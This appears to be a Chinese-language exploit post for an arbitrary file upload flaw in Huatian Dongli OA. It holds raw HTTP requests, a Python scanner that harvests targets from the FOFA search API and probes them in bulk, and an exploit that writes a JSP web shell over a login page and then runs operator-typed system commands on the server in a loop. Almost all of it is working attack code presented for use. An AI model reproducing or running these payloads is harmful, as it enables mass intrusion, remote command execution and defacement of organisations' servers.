华天动力 OA 任意文件上传漏洞复现 pOc

POST /OAapp/jsp/upload.jsp HTTP/1.1Host:xxxxxxxxxxxxxxxxxxxxxx(你的host)Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QOUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 293------WebKitFormBoundary5Ur8laykKAWws2QOContent-Disposition: form-data; name="file"; filename="ttt.xml"Content-Type: image/pngreal path------WebKitFormBoundary5Ur8laykKAWws2QOContent-Disposition: form-data; name="filename"ttt.png------WebKitFormBoundary5Ur8laykKAWws2QO--

POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1Host: xxxxxxxxxxxxxxxxx(你的Host)Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQmUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Length: 389------WebKitFormBoundaryzRSYXfFlXqk6btQmContent-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"Content-Type: image/png<%out.print("2023-02-14");%>------WebKitFormBoundaryzRSYXfFlXqk6btQmContent-Disposition: form-data; name="newFileName"D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp------WebKitFormBoundaryzRSYXfFlXqk6btQm--

GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1Host: xxxxxxxxxxxxxxxxxxx(你的host)User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1

# coding=utf-8import requestsimport timeimport base64email = "这里填上你的fofa邮箱"api_key = "这里填上你的fofa的Key"api = r'https://fofa.so/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'fofa_pwd = "fofa爬取结果.txt"def run_site_fofa(fofa_keyword):    global email, api_key, api, fofa_pwd    flag = base64.b64encode(fofa_keyword.encode()).decode()    response = requests.get(api.format(email, api_key, flag))    results = response.json()["results"]    print("FOFA中共搜索到{}条记录！".format(len(results)))    file_name = fofa_pwd    f = open(file_name, "a")    for addr in results:        f.write(addr[0] + 'n')        print("FOFA爬取中:", addr)    f.close()    with open("fofa爬取结果.txt","r") as file:        for files in file:            file_read = files.strip("n")            glfusion_upload(file_read)    file.close()def glfusion_upload(url):    path = "/OAapp/jsp/upload.jsp"    paths = "/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp"    path_get = '/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp'    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",         "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO",    }    headerss = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"    }    data = '''    ------WebKitFormBoundary5Ur8laykKAWws2QO    Content-Disposition: form-data; name="file"; filename="xxx.xml"    Content-Type: image/png    real path    ------WebKitFormBoundary5Ur8laykKAWws2QO    Content-Disposition: form-data; name="filename"    xxx.png    ------WebKitFormBoundary5Ur8laykKAWws2QO--    '''    datas = '''    ------WebKitFormBoundaryzRSYXfFlXqk6btQm    Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"    Content-Type: image/png    <%out.print("2023-02-14");%>    ------WebKitFormBoundaryzRSYXfFlXqk6btQm    Content-Disposition: form-data; name="newFileName"    D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp    ------WebKitFormBoundaryzRSYXfFlXqk6btQm--    '''    resp = requests.post(url + path, headers=headers,data=data)    print(resp.status_code)    time.sleep(1)    resps = requests.post(url + paths, headers=headers, data=datas)    print(resps.status_code)    time.sleep(1)    resp_read = requests.get(url+path_get,headers=headerss)    print(resp_read)    if "2023" in resp_read.text:        print("[+]", url, "存在文件上传漏洞")    else:        print("[-]", url, "未发现文件上传漏洞")if "__main__" == __name__:    search = 'body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"'    run_site_fofa(search)

import requestsimport timedef exp(url):    path = "/OAapp/jsp/upload.jsp"    paths = "/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp"    path_get = '/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp'    exp_path_get  = "/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",         "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO",    }    headerss = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"    }    data = '''    ------WebKitFormBoundary5Ur8laykKAWws2QO    Content-Disposition: form-data; name="file"; filename="xxx.xml"    Content-Type: image/png    real path    ------WebKitFormBoundary5Ur8laykKAWws2QO    Content-Disposition: form-data; name="filename"    xxx.png    ------WebKitFormBoundary5Ur8laykKAWws2QO--    '''    datas = '''    ------WebKitFormBoundaryzRSYXfFlXqk6btQm    Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"    Content-Type: image/png    <%Runtime.getRuntime().exec(request.getParameter("i"));%>    ------WebKitFormBoundaryzRSYXfFlXqk6btQm    Content-Disposition: form-data; name="newFileName"    D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp    ------WebKitFormBoundaryzRSYXfFlXqk6btQm--    '''    resp = requests.post(url + path, headers=headers,data=data)    print(resp.status_code)    time.sleep(1)    resps = requests.post(url + paths, headers=headers, data=datas)    print(resps.status_code)    time.sleep(1)    resp_read = requests.get(url+path_get,headers=headerss)    print(resp_read.status_code)    print("上传完成进行EXP利用........................................")    while True:        try:            i = input("请输入你要执行的命令:")            resp_read = requests.get(url + exp_path_get+"?i={}".format(i), headers=headerss)            print("执行结果:"+resp_read.text)            if i == "exit":                break        except Exception as e:            print("执行异常")            passif "__main__" == __name__:    url = "填存在漏洞的URL(如http://baidu.com)"    exp(url)